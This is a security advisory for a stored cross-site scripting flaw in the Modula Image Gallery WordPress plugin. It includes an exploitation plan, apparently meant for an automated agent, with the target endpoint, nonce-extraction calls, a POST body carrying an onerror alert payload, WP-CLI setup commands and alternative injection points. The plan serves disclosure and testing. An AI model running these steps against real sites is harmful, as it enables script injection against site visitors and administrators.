Modula Image Gallery <= 2.13.4 - Authenticated (Author+) Stored Cross-Site Scripting
Description
The Modula Image Gallery plugin for WordPress is vulnerable to Stored Cross-Site Scripting in versions up to, and including, 2.13.4 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with author-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:NTechnical Details
<=2.13.4Source Code
WordPress.org SVN# Exploitation Research Plan: CVE-2026-23976 (Modula Image Gallery) ## 1. Vulnerability Summary The **Modula Image Gallery** plugin (<= 2.13.4) is vulnerable to **Authenticated Stored Cross-Site Scripting (XSS)**. The vulnerability exists because the plugin fails to sufficiently sanitize or escape …
Show full research plan
Exploitation Research Plan: CVE-2026-23976 (Modula Image Gallery)
1. Vulnerability Summary
The Modula Image Gallery plugin (<= 2.13.4) is vulnerable to Authenticated Stored Cross-Site Scripting (XSS). The vulnerability exists because the plugin fails to sufficiently sanitize or escape user-supplied input when saving and displaying gallery settings or image metadata. An attacker with Author level permissions or higher can inject malicious scripts into gallery fields. These scripts execute in the context of any user (including administrators) who visits the page where the gallery is embedded or views the gallery in the admin dashboard.
2. Attack Vector Analysis
- Endpoint:
wp-admin/admin-ajax.php - AJAX Action:
modula_save_image_metadata(inferred) or via the standardpost.phpupdate mechanism for themodula-gallerycustom post type. - Vulnerable Parameters:
metadata[caption],metadata[title],metadata[alt], or custom link attributes (inferred). - Authentication: Requires an account with at least
Authorprivileges (the ability to create and edit Modula galleries). - Preconditions: The plugin must be active, and at least one gallery must exist (or the attacker must be able to create one).
3. Code Flow (Inferred)
- Input: An Author user submits a request to update image metadata within a gallery.
- Handling: The plugin catches the request via an AJAX handler (likely in
includes/class-modula-ajax.php) or thesave_posthook for themodula-gallerypost type. - Storage: The input is saved to the database using
update_post_meta()orupdate_option()without rigorous sanitization (e.g., usingwp_kseswith an insufficient allowlist). - Rendering: When the gallery is rendered via the
[modula id="..."]shortcode, the plugin retrieves the stored metadata. - Output: The plugin echoes the metadata in the frontend HTML (e.g., in
includes/class-modula-shortcode.phpor gallery templates) without applyingesc_html(),esc_attr(), orwp_kses().
4. Nonce Acquisition Strategy
Modula uses localized scripts to provide nonces and AJAX URLs to its admin interface.
- Identify Shortcode: The plugin uses
[modula id="ID"]. - Create Test Content: Use WP-CLI to create a gallery and a page to host it.
- Navigate to Gallery Edit Page: As an Author, navigate to the "Edit Gallery" screen for a specific gallery (
wp-admin/post.php?post=ID&action=edit). - Extract Nonce:
- The plugin localizes data under the object
modula_varsormodula_admin_vars(inferred). - Use
browser_evalto extract the nonce:browser_eval("window.modula_vars?.nonce || window.modula_admin_vars?.nonce") - Also, check for specific metadata nonces:
window.modula_vars?.image_metadata_nonce.
- The plugin localizes data under the object
5. Exploitation Strategy
Step 1: Authentication and Setup
- Log in as a user with the Author role.
- Identify an existing gallery ID or create a new one.
Step 2: Payload Injection
We will target the image metadata update AJAX action, as this is a common vector for stored XSS in gallery plugins.
Request:
- Method:
POST - URL:
https://[target]/wp-admin/admin-ajax.php - Content-Type:
application/x-www-form-urlencoded - Body:
action=modula_save_image_metadata& nonce=[EXTRACTED_NONCE]& image_id=[ATTACHMENT_ID]& metadata[title]=Test Title& metadata[caption]=<img src=x onerror=alert(document.domain)>& metadata[alt]=Exploit
Step 3: Triggering the XSS
- Place the gallery shortcode
[modula id="GALLERY_ID"]on a public page or post. - Navigate to that page using
browser_navigate. - Observe the execution of
alert(document.domain).
6. Test Data Setup
- Create Author User:
wp user create attacker attacker@example.com --role=author --user_pass=password123 - Create a Modula Gallery:
Modula stores galleries asmodula-gallerypost types.wp post create --post_type=modula-gallery --post_title="XSS Gallery" --post_status=publish --post_author=[ATTACKER_ID] - Upload an Image:
Upload an image to the media library to get anattachment_id. - Attach Image to Gallery:
Modula usually stores gallery items in post metamodula_images. - Create Page with Shortcode:
wp post create --post_type=page --post_title="Gallery Page" --post_content='[modula id="[GALLERY_ID]"]' --post_status=publish
7. Expected Results
- The
admin-ajax.phprequest should return a success response (likely JSON{"success": true}). - When viewing the "Gallery Page", the browser should execute the JavaScript injected into the
captionfield. - The HTML source of the page should show the unescaped payload:
<div class="modula-item-caption">...<img src=x onerror=alert(document.domain)>...</div>.
8. Verification Steps
- Database Check:
Check the post meta for the attachment to confirm the payload is stored:wp post meta get [ATTACHMENT_ID] _modula_image_metadata(inferred meta key)
OR check the gallery post meta:wp post meta get [GALLERY_ID] modula_images - Frontend Check:
Verify the payload appears in the HTTP response body:http_request --url "https://[target]/gallery-page/"
Search foronerror=alert.
9. Alternative Approaches
If the modula_save_image_metadata AJAX action is protected or incorrect:
- Direct Post Update: Attempt to update the
modula-gallerypost directly viapost.phpby including the malicious payload in themodula_settingsormodula_tabsarray parameters. - Settings XSS: Look for gallery-wide settings like "Custom CSS" or "Custom JS" (often found in Modula) and attempt to inject a payload there.
- Bulk Edit: If the plugin has a bulk metadata editor, test the
modula_bulk_edit_imagesaction.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.